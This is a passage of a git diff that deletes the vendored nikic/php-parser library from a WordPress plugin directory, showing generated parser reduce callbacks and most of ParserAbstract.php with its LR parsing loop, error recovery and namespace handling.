$self->semValue = new Expr\Variable($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 588 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 589 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable(new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])), $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 590 => static function ($self, $stackPos) { - $var = $self->semStack[$stackPos-(1-1)]->name; $self->semValue = \is_string($var) ? new Node\VarLikeIdentifier($var, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])) : $var; - }, - 591 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 592 => null, - 593 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 594 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 595 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 596 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 597 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticPropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 598 => null, - 599 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 600 => null, - 601 => null, - 602 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 603 => null, - 604 => static function ($self, $stackPos) { - $self->semValue = new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 605 => static function ($self, $stackPos) { - $self->semValue = new Expr\List_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); $self->semValue->setAttribute('kind', Expr\List_::KIND_LIST); - $self->postprocessList($self->semValue); - }, - 606 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $end = count($self->semValue)-1; if ($self->semValue[$end]->value instanceof Expr\Error) array_pop($self->semValue); - }, - 607 => null, - 608 => static function ($self, $stackPos) { - /* do nothing -- prevent default action of $$=$self->semStack[$1]. See $551. */ - }, - 609 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 610 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 611 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(1-1)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 612 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(2-2)], null, true, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 613 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(1-1)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 614 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(3-3)], $self->semStack[$stackPos-(3-1)], false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 615 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(4-4)], $self->semStack[$stackPos-(4-1)], true, $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 616 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(3-3)], $self->semStack[$stackPos-(3-1)], false, $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 617 => static function ($self, $stackPos) { - $self->semValue = new Node\ArrayItem($self->semStack[$stackPos-(2-2)], null, false, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]), true); - }, - 618 => static function ($self, $stackPos) { - /* Create an Error node now to remember the position. We'll later either report an error, - or convert this into a null element, depending on whether this is a creation or destructuring context. */ - $attrs = $self->createEmptyElemAttributes($self->tokenPos); - $self->semValue = new Node\ArrayItem(new Expr\Error($attrs), null, false, $attrs); - }, - 619 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 620 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; $self->semValue = $self->semStack[$stackPos-(2-1)]; - }, - 621 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 622 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)]); - }, - 623 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]); $attrs['rawValue'] = $self->semStack[$stackPos-(1-1)]; $self->semValue = new Node\InterpolatedStringPart($self->semStack[$stackPos-(1-1)], $attrs); - }, - 624 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 625 => null, - 626 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 627 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 628 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 629 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 630 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 631 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(6-2)], $self->semStack[$stackPos-(6-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(6-1)], $self->tokenEndStack[$stackPos])); - }, - 632 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 633 => static function ($self, $stackPos) { - $self->semValue = new Scalar\String_($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 634 => static function ($self, $stackPos) { - $self->semValue = $self->parseNumString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 635 => static function ($self, $stackPos) { - $self->semValue = $self->parseNumString('-' . $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 636 => null, - ]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserAbstract.php deleted file mode 100644 index 667f21f5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserAbstract.php +++ /dev/null @@ -1,1286 +0,0 @@ - Map of PHP token IDs to drop */ - protected array $dropTokens; - /** @var int[] Map of external symbols (static::T_*) to internal symbols */ - protected array $tokenToSymbol; - /** @var string[] Map of symbols to their names */ - protected array $symbolToName; - /** @var array Names of the production rules (only necessary for debugging) */ - protected array $productions; - - /** @var int[] Map of states to a displacement into the $action table. The corresponding action for this - * state/symbol pair is $action[$actionBase[$state] + $symbol]. If $actionBase[$state] is 0, the - * action is defaulted, i.e. $actionDefault[$state] should be used instead. */ - protected array $actionBase; - /** @var int[] Table of actions. Indexed according to $actionBase comment. */ - protected array $action; - /** @var int[] Table indexed analogously to $action. If $actionCheck[$actionBase[$state] + $symbol] != $symbol - * then the action is defaulted, i.e. $actionDefault[$state] should be used instead. */ - protected array $actionCheck; - /** @var int[] Map of states to their default action */ - protected array $actionDefault; - /** @var callable[] Semantic action callbacks */ - protected array $reduceCallbacks; - - /** @var int[] Map of non-terminals to a displacement into the $goto table. The corresponding goto state for this - * non-terminal/state pair is $goto[$gotoBase[$nonTerminal] + $state] (unless defaulted) */ - protected array $gotoBase; - /** @var int[] Table of states to goto after reduction. Indexed according to $gotoBase comment. */ - protected array $goto; - /** @var int[] Table indexed analogously to $goto. If $gotoCheck[$gotoBase[$nonTerminal] + $state] != $nonTerminal - * then the goto state is defaulted, i.e. $gotoDefault[$nonTerminal] should be used. */ - protected array $gotoCheck; - /** @var int[] Map of non-terminals to the default state to goto after their reduction */ - protected array $gotoDefault; - - /** @var int[] Map of rules to the non-terminal on their left-hand side, i.e. the non-terminal to use for - * determining the state to goto after reduction. */ - protected array $ruleToNonTerminal; - /** @var int[] Map of rules to the length of their right-hand side, which is the number of elements that have to - * be popped from the stack(s) on reduction. */ - protected array $ruleToLength; - - /* - * The following members are part of the parser state: - */ - - /** @var mixed Temporary value containing the result of last semantic action (reduction) */ - protected $semValue; - /** @var mixed[] Semantic value stack (contains values of tokens and semantic action results) */ - protected array $semStack; - /** @var int[] Token start position stack */ - protected array $tokenStartStack; - /** @var int[] Token end position stack */ - protected array $tokenEndStack; - - /** @var ErrorHandler Error handler */ - protected ErrorHandler $errorHandler; - /** @var int Error state, used to avoid error floods */ - protected int $errorState; - - /** @var \SplObjectStorage|null Array nodes created during parsing, for postprocessing of empty elements. */ - protected ?\SplObjectStorage $createdArrays; - - /** @var Token[] Tokens for the current parse */ - protected array $tokens; - /** @var int Current position in token array */ - protected int $tokenPos; - - /** - * Initialize $reduceCallbacks map. - */ - abstract protected function initReduceCallbacks(): void; - - /** - * Creates a parser instance. - * - * Options: - * * phpVersion: ?PhpVersion, - * - * @param Lexer $lexer A lexer - * @param PhpVersion $phpVersion PHP version to target, defaults to latest supported. This - * option is best-effort: Even if specified, parsing will generally assume the latest - * supported version and only adjust behavior in minor ways, for example by omitting - * errors in older versions and interpreting type hints as a name or identifier depending - * on version. - */ - public function __construct(Lexer $lexer, ?PhpVersion $phpVersion = null) { - $this->lexer = $lexer; - $this->phpVersion = $phpVersion ?? PhpVersion::getNewestSupported(); - - $this->initReduceCallbacks(); - $this->phpTokenToSymbol = $this->createTokenMap(); - $this->dropTokens = array_fill_keys( - [\T_WHITESPACE, \T_OPEN_TAG, \T_COMMENT, \T_DOC_COMMENT, \T_BAD_CHARACTER], true - ); - } - - /** - * Parses PHP code into a node tree. - * - * If a non-throwing error handler is used, the parser will continue parsing after an error - * occurred and attempt to build a partial AST. - * - * @param string $code The source code to parse - * @param ErrorHandler|null $errorHandler Error handler to use for lexer/parser errors, defaults - * to ErrorHandler\Throwing. - * - * @return Node\Stmt[]|null Array of statements (or null non-throwing error handler is used and - * the parser was unable to recover from an error). - */ - public function parse(string $code, ?ErrorHandler $errorHandler = null): ?array { - $this->errorHandler = $errorHandler ?: new ErrorHandler\Throwing(); - $this->createdArrays = new \SplObjectStorage(); - - $this->tokens = $this->lexer->tokenize($code, $this->errorHandler); - $result = $this->doParse(); - - // Report errors for any empty elements used inside arrays. This is delayed until after the main parse, - // because we don't know a priori whether a given array expression will be used in a destructuring context - // or not. - foreach ($this->createdArrays as $node) { - foreach ($node->items as $item) { - if ($item->value instanceof Expr\Error) { - $this->errorHandler->handleError( - new Error('Cannot use empty array elements in arrays', $item->getAttributes())); - } - } - } - - // Clear out some of the interior state, so we don't hold onto unnecessary - // memory between uses of the parser - $this->tokenStartStack = []; - $this->tokenEndStack = []; - $this->semStack = []; - $this->semValue = null; - $this->createdArrays = null; - - if ($result !== null) { - $traverser = new NodeTraverser(new CommentAnnotatingVisitor($this->tokens)); - $traverser->traverse($result); - } - - return $result; - } - - public function getTokens(): array { - return $this->tokens; - } - - /** @return Stmt[]|null */ - protected function doParse(): ?array { - // We start off with no lookahead-token - $symbol = self::SYMBOL_NONE; - $tokenValue = null; - $this->tokenPos = -1; - - // Keep stack of start and end attributes - $this->tokenStartStack = []; - $this->tokenEndStack = [0]; - - // Start off in the initial state and keep a stack of previous states - $state = 0; - $stateStack = [$state]; - - // Semantic value stack (contains values of tokens and semantic action results) - $this->semStack = []; - - // Current position in the stack(s) - $stackPos = 0; - - $this->errorState = 0; - - for (;;) { - //$this->traceNewState($state, $symbol); - - if ($this->actionBase[$state] === 0) { - $rule = $this->actionDefault[$state]; - } else { - if ($symbol === self::SYMBOL_NONE) { - do { - $token = $this->tokens[++$this->tokenPos]; - $tokenId = $token->id; - } while (isset($this->dropTokens[$tokenId])); - - // Map the lexer token id to the internally used symbols. - $tokenValue = $token->text; - if (!isset($this->phpTokenToSymbol[$tokenId])) { - throw new \RangeException(sprintf( - 'The lexer returned an invalid token (id=%d, value=%s)', - $tokenId, $tokenValue - )); - } - $symbol = $this->phpTokenToSymbol[$tokenId]; - - //$this->traceRead($symbol); - } - - $idx = $this->actionBase[$state] + $symbol; - if ((($idx >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol) - || ($state < $this->YY2TBLSTATE - && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $symbol) >= 0 - && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol)) - && ($action = $this->action[$idx]) !== $this->defaultAction) { - /* - * >= numNonLeafStates: shift and reduce - * > 0: shift - * = 0: accept - * < 0: reduce - * = -YYUNEXPECTED: error - */ - if ($action > 0) { - /* shift */ - //$this->traceShift($symbol); - - ++$stackPos; - $stateStack[$stackPos] = $state = $action; - $this->semStack[$stackPos] = $tokenValue; - $this->tokenStartStack[$stackPos] = $this->tokenPos; - $this->tokenEndStack[$stackPos] = $this->tokenPos; - $symbol = self::SYMBOL_NONE; - - if ($this->errorState) { - --$this->errorState; - } - - if ($action < $this->numNonLeafStates) { - continue; - } - - /* $yyn >= numNonLeafStates means shift-and-reduce */ - $rule = $action - $this->numNonLeafStates; - } else { - $rule = -$action; - } - } else { - $rule = $this->actionDefault[$state]; - } - } - - for (;;) { - if ($rule === 0) { - /* accept */ - //$this->traceAccept(); - return $this->semValue; - } - if ($rule !== $this->unexpectedTokenRule) { - /* reduce */ - //$this->traceReduce($rule); - - $ruleLength = $this->ruleToLength[$rule]; - try { - $callback = $this->reduceCallbacks[$rule]; - if ($callback !== null) { - $callback($this, $stackPos); - } elseif ($ruleLength > 0) { - $this->semValue = $this->semStack[$stackPos - $ruleLength + 1]; - } - } catch (Error $e) { - if (-1 === $e->getStartLine()) { - $e->setStartLine($this->tokens[$this->tokenPos]->line); - } - - $this->emitError($e); - // Can't recover from this type of error - return null; - } - - /* Goto - shift nonterminal */ - $lastTokenEnd = $this->tokenEndStack[$stackPos]; - $stackPos -= $ruleLength; - $nonTerminal = $this->ruleToNonTerminal[$rule]; - $idx = $this->gotoBase[$nonTerminal] + $stateStack[$stackPos]; - if ($idx >= 0 && $idx < $this->gotoTableSize && $this->gotoCheck[$idx] === $nonTerminal) { - $state = $this->goto[$idx]; - } else { - $state = $this->gotoDefault[$nonTerminal]; - } - - ++$stackPos; - $stateStack[$stackPos] = $state; - $this->semStack[$stackPos] = $this->semValue; - $this->tokenEndStack[$stackPos] = $lastTokenEnd; - if ($ruleLength === 0) { - // Empty productions use the start attributes of the lookahead token. - $this->tokenStartStack[$stackPos] = $this->tokenPos; - } - } else { - /* error */ - switch ($this->errorState) { - case 0: - $msg = $this->getErrorMessage($symbol, $state); - $this->emitError(new Error($msg, $this->getAttributesForToken($this->tokenPos))); - // Break missing intentionally - // no break - case 1: - case 2: - $this->errorState = 3; - - // Pop until error-expecting state uncovered - while (!( - (($idx = $this->actionBase[$state] + $this->errorSymbol) >= 0 - && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $this->errorSymbol) - || ($state < $this->YY2TBLSTATE - && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $this->errorSymbol) >= 0 - && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $this->errorSymbol) - ) || ($action = $this->action[$idx]) === $this->defaultAction) { // Not totally sure about this - if ($stackPos <= 0) { - // Could not recover from error - return null; - } - $state = $stateStack[--$stackPos]; - //$this->tracePop($state); - } - - //$this->traceShift($this->errorSymbol); - ++$stackPos; - $stateStack[$stackPos] = $state = $action; - - // We treat the error symbol as being empty, so we reset the end attributes - // to the end attributes of the last non-error symbol - $this->tokenStartStack[$stackPos] = $this->tokenPos; - $this->tokenEndStack[$stackPos] = $this->tokenEndStack[$stackPos - 1]; - break; - - case 3: - if ($symbol === 0) { - // Reached EOF without recovering from error - return null; - } - - //$this->traceDiscard($symbol); - $symbol = self::SYMBOL_NONE; - break 2; - } - } - - if ($state < $this->numNonLeafStates) { - break; - } - - /* >= numNonLeafStates means shift-and-reduce */ - $rule = $state - $this->numNonLeafStates; - } - } - } - - protected function emitError(Error $error): void { - $this->errorHandler->handleError($error); - } - - /** - * Format error message including expected tokens. - * - * @param int $symbol Unexpected symbol - * @param int $state State at time of error - * - * @return string Formatted error message - */ - protected function getErrorMessage(int $symbol, int $state): string { - $expectedString = ''; - if ($expected = $this->getExpectedTokens($state)) { - $expectedString = ', expecting ' . implode(' or ', $expected); - } - - return 'Syntax error, unexpected ' . $this->symbolToName[$symbol] . $expectedString; - } - - /** - * Get limited number of expected tokens in given state. - * - * @param int $state State - * - * @return string[] Expected tokens. If too many, an empty array is returned. - */ - protected function getExpectedTokens(int $state): array { - $expected = []; - - $base = $this->actionBase[$state]; - foreach ($this->symbolToName as $symbol => $name) { - $idx = $base + $symbol; - if ($idx >= 0 && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol - || $state < $this->YY2TBLSTATE - && ($idx = $this->actionBase[$state + $this->numNonLeafStates] + $symbol) >= 0 - && $idx < $this->actionTableSize && $this->actionCheck[$idx] === $symbol - ) { - if ($this->action[$idx] !== $this->unexpectedTokenRule - && $this->action[$idx] !== $this->defaultAction - && $symbol !== $this->errorSymbol - ) { - if (count($expected) === 4) { - /* Too many expected tokens */ - return []; - } - - $expected[] = $name; - } - } - } - - return $expected; - } - - /** - * Get attributes for a node with the given start and end token positions. - * - * @param int $tokenStartPos Token position the node starts at - * @param int $tokenEndPos Token position the node ends at - * @return array Attributes - */ - protected function getAttributes(int $tokenStartPos, int $tokenEndPos): array { - $startToken = $this->tokens[$tokenStartPos]; - $afterEndToken = $this->tokens[$tokenEndPos + 1]; - return [ - 'startLine' => $startToken->line, - 'startTokenPos' => $tokenStartPos, - 'startFilePos' => $startToken->pos, - 'endLine' => $afterEndToken->line, - 'endTokenPos' => $tokenEndPos, - 'endFilePos' => $afterEndToken->pos - 1, - ]; - } - - /** - * Get attributes for a single token at the given token position. - * - * @return array Attributes - */ - protected function getAttributesForToken(int $tokenPos): array { - if ($tokenPos < \count($this->tokens) - 1) { - return $this->getAttributes($tokenPos, $tokenPos); - } - - // Get attributes for the sentinel token. - $token = $this->tokens[$tokenPos]; - return [ - 'startLine' => $token->line, - 'startTokenPos' => $tokenPos, - 'startFilePos' => $token->pos, - 'endLine' => $token->line, - 'endTokenPos' => $tokenPos, - 'endFilePos' => $token->pos, - ]; - } - - /* - * Tracing functions used for debugging the parser. - */ - - /* - protected function traceNewState($state, $symbol): void { - echo '% State ' . $state - . ', Lookahead ' . ($symbol == self::SYMBOL_NONE ? '--none--' : $this->symbolToName[$symbol]) . "\n"; - } - - protected function traceRead($symbol): void { - echo '% Reading ' . $this->symbolToName[$symbol] . "\n"; - } - - protected function traceShift($symbol): void { - echo '% Shift ' . $this->symbolToName[$symbol] . "\n"; - } - - protected function traceAccept(): void { - echo "% Accepted.\n"; - } - - protected function traceReduce($n): void { - echo '% Reduce by (' . $n . ') ' . $this->productions[$n] . "\n"; - } - - protected function tracePop($state): void { - echo '% Recovering, uncovered state ' . $state . "\n"; - } - - protected function traceDiscard($symbol): void { - echo '% Discard ' . $this->symbolToName[$symbol] . "\n"; - } - */ - - /* - * Helper functions invoked by semantic actions - */ - - /** - * Moves statements of semicolon-style namespaces into $ns->stmts and checks various error conditions. - * - * @param Node\Stmt[] $stmts - * @return Node\Stmt[] - */ - protected function handleNamespaces(array $stmts): array { - $hasErrored = false; - $style = $this->getNamespacingStyle($stmts); - if (null === $style) { - // not namespaced, nothing to do - return $stmts; - } - if ('brace' === $style) { - // For braced namespaces we only have to check that there are no invalid statements between the namespaces - $afterFirstNamespace = false; - foreach ($stmts as $stmt) { - if ($stmt instanceof Node\Stmt\Namespace_) { - $afterFirstNamespace = true; - } elseif (!$stmt instanceof Node\Stmt\HaltCompiler - && !$stmt instanceof Node\Stmt\Nop - && $afterFirstNamespace && !$hasErrored) { - $this->emitError(new Error( - 'No code may exist outside of namespace {}', $stmt->getAttributes())); - $hasErrored = true; // Avoid one error for every statement - } - } - return $stmts; - } else { - // For semicolon namespaces we have to move the statements after a namespace declaration into ->stmts - $resultStmts = []; - $targetStmts = &$resultStmts; - $lastNs = null; - foreach ($stmts as $stmt) { - if ($stmt instanceof Node\Stmt\Namespace_) { - if ($lastNs !== null) { - $this->fixupNamespaceAttributes($lastNs); - } - if ($stmt->stmts === null) { - $stmt->stmts = []; - $targetStmts = &$stmt->stmts; - $resultStmts[] = $stmt; - } else { - // This handles the invalid case of mixed style namespaces - $resultStmts[] = $stmt; - $targetStmts = &$resultStmts; - } - $lastNs = $stmt; - } elseif ($stmt instanceof Node\Stmt\HaltCompiler) { - // __halt_compiler() is not moved into the namespace - $resultStmts[] = $stmt; - } else { - $targetStmts[] = $stmt; - } - } - if ($lastNs !== null) { - $this->fixupNamespaceAttributes($lastNs); - } - return $resultStmts; - } - } - - private function fixupNamespaceAttributes(Node\Stmt\Namespace_ $stmt): void { - // We moved the statements into the namespace node, as such the end of the namespace node - // needs to be extended to the end of the statements. - if (empty($stmt->stmts)) { - return; - } - - // We only move the builtin end attributes here. This is the best we can do with the - // knowledge we have. - $endAttributes = ['endLine', 'endFilePos', 'endTokenPos']; - $lastStmt = $stmt->stmts[count($stmt->stmts) - 1]; - foreach ($endAttributes as $endAttribute) { - if ($lastStmt->hasAttribute($endAttribute)) { - $stmt->setAttribute($endAttribute, $lastStmt->getAttribute($endAttribute)); - } - } - } - - /** @return array */ - private function getNamespaceErrorAttributes(Namespace_ $node): array { - $attrs = $node->getAttributes(); - // Adjust end attributes to only cover the "namespace" keyword, not the whole namespace. - if (isset($attrs['startLine'])) { - $attrs['endLine'] = $attrs['startLine']; - } - if (isset($attrs['startTokenPos'])) { - $attrs['endTokenPos'] = $attrs['startTokenPos']; - } - if (isset($attrs['startFilePos'])) { - $attrs['endFilePos'] = $attrs['startFilePos'] + \strlen('namespace') - 1; - } - return $attrs; - } - - /** - * Determine namespacing style (semicolon or brace) - * - * @param Node[] $stmts Top-level statements. - * - * @return null|string One of "semicolon", "brace" or null (no namespaces) - */ - private function getNamespacingStyle(array $stmts): ?string { - $style = null; - $hasNotAllowedStmts = false; - foreach ($stmts as $i => $stmt) { - if ($stmt instanceof Node\Stmt\Namespace_) { - $currentStyle = null === $stmt->stmts ? 'semicolon' : 'brace'; - if (null === $style) { - $style = $currentStyle; - if ($hasNotAllowedStmts) { - $this->emitError(new Error( - 'Namespace declaration statement has to be the very first statement in the script', - $this->getNamespaceErrorAttributes($stmt) - )); - } - } elseif ($style !== $currentStyle) { - $this->emitError(new Error( - 'Cannot mix bracketed namespace declarations with unbracketed namespace declarations', - $this->getNamespaceErrorAttributes($stmt) - )); - // Treat like semicolon style for namespace normalization - return 'semicolon'; - } - continue; - } - - /* declare(), __halt_compiler() and nops can be used before a namespace declaration */ - if ($stmt instanceof Node\Stmt\Declare_ - || $stmt instanceof Node\Stmt\HaltCompiler - || $stmt instanceof Node\Stmt\Nop) { - continue; - } - - /* There may be a hashbang line at the very start of the file */ - if ($i === 0 && $stmt instanceof Node\Stmt\InlineHTML && preg_match('/\A#!.*\r?\n\z/', $stmt->value)) { - continue; - } - - /* Everything else if forbidden before namespace declarations */ - $hasNotAllowedStmts = true; - } - return $style; - } - - /** @return Name|Identifier */ - protected function handleBuiltinTypes(Name $name) { - if (!$name->isUnqualified()) { - return $name; - } - - $lowerName = $name->toLowerString(); - if (!$this->phpVersion->supportsBuiltinType($lowerName)) { - return $name; - } - - return new Node\Identifier($lowerName, $name->getAttributes()); - } - - /** - * Get combined start and end attributes at a stack location - * - * @param int $stackPos Stack location - * - * @return array Combined start and end attributes - */ - protected function getAttributesAt(int $stackPos): array { - return $this->getAttributes($this->tokenStartStack[$stackPos], $this->tokenEndStack[$stackPos]); - } - - protected function getFloatCastKind(string $cast): int { - $cast = strtolower($cast); - if (strpos($cast, 'float') !== false) { - return Double::KIND_FLOAT; - } - - if (strpos($cast, 'real') !== false) { - return Double::KIND_REAL; - } - - return Double::KIND_DOUBLE; - } - - /** @param array $attributes */ - protected function parseLNumber(string $str, array $attributes, bool $allowInvalidOctal = false): Int_ { - try { - return Int_::fromString($str, $attributes, $allowInvalidOctal); - } catch (Error $error) { - $this->emitError($error); - // Use dummy value - return new Int_(0, $attributes); - } - } - - /** - * Parse a T_NUM_STRING token into either an integer or string node. - * - * @param string $str Number string - * @param array $attributes Attributes - * - * @return Int_|String_ Integer or string node. - */ - protected function parseNumString(string $str, array $attributes) { - if (!preg_match('/^(?:0|-?[1-9][0-9]*)$/', $str)) { - return new String_($str, $attributes); - } - - $num = +$str; - if (!is_int($num)) { - return new String_($str, $attributes); - } - - return new Int_($num, $attributes); - } - - /** @param array $attributes */ - protected function stripIndentation( - string $string, int $indentLen, string $indentChar, - bool $newlineAtStart, bool $newlineAtEnd, array $attributes - ): string { - if ($indentLen === 0) { - return $string; - } - - $start = $newlineAtStart ? '(?:(?<=\n)|\A)' : '(?<=\n)'; - $end = $newlineAtEnd ? '(?:(?=[\r\n])|\z)' : '(?=[\r\n])'; - $regex = '/' . $start . '([ \t]*)(' . $end . ')?/'; - return preg_replace_callback( - $regex, - function ($matches) use ($indentLen, $indentChar, $attributes) { - $prefix = substr($matches[1], 0, $indentLen); - if (false !== strpos($prefix, $indentChar === " " ? "\t" : " ")) { - $this->emitError(new Error( - 'Invalid indentation - tabs and spaces cannot be mixed', $attributes - )); - } elseif (strlen($prefix) < $indentLen && !isset($matches[2])) { - $this->emitError(new Error( - 'Invalid body indentation level ' . - '(expecting an indentation level of at least ' . $indentLen . ')', - $attributes - )); - } - return substr($matches[0], strlen($prefix)); - }, - $string - ); - } - - /** - * @param string|(Expr|InterpolatedStringPart)[] $contents - * @param array $attributes - * @param array $endTokenAttributes - */ - protected function parseDocString( - string $startToken, $contents, string $endToken, - array $attributes, array $endTokenAttributes, bool $parseUnicodeEscape - ): Expr { - $kind = strpos($startToken, "'") === false - ? String_::KIND_HEREDOC : String_::KIND_NOWDOC; - - $regex = '/\A[bB]?<<<[ \t]*[\'"]?([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)[\'"]?(?:\r\n|\n|\r)\z/'; - $result = preg_match($regex, $startToken, $matches); - assert($result === 1); - $label = $matches[1]; - - $result = preg_match('/\A[ \t]*/', $endToken, $matches); - assert($result === 1); - $indentation = $matches[0]; - - $attributes['kind'] = $kind; - $attributes['docLabel'] = $label; - $attributes['docIndentation'] = $indentation; - - $indentHasSpaces = false !== strpos($indentation, " "); - $indentHasTabs = false !== strpos($indentation, "\t"); - if ($indentHasSpaces && $indentHasTabs) { - 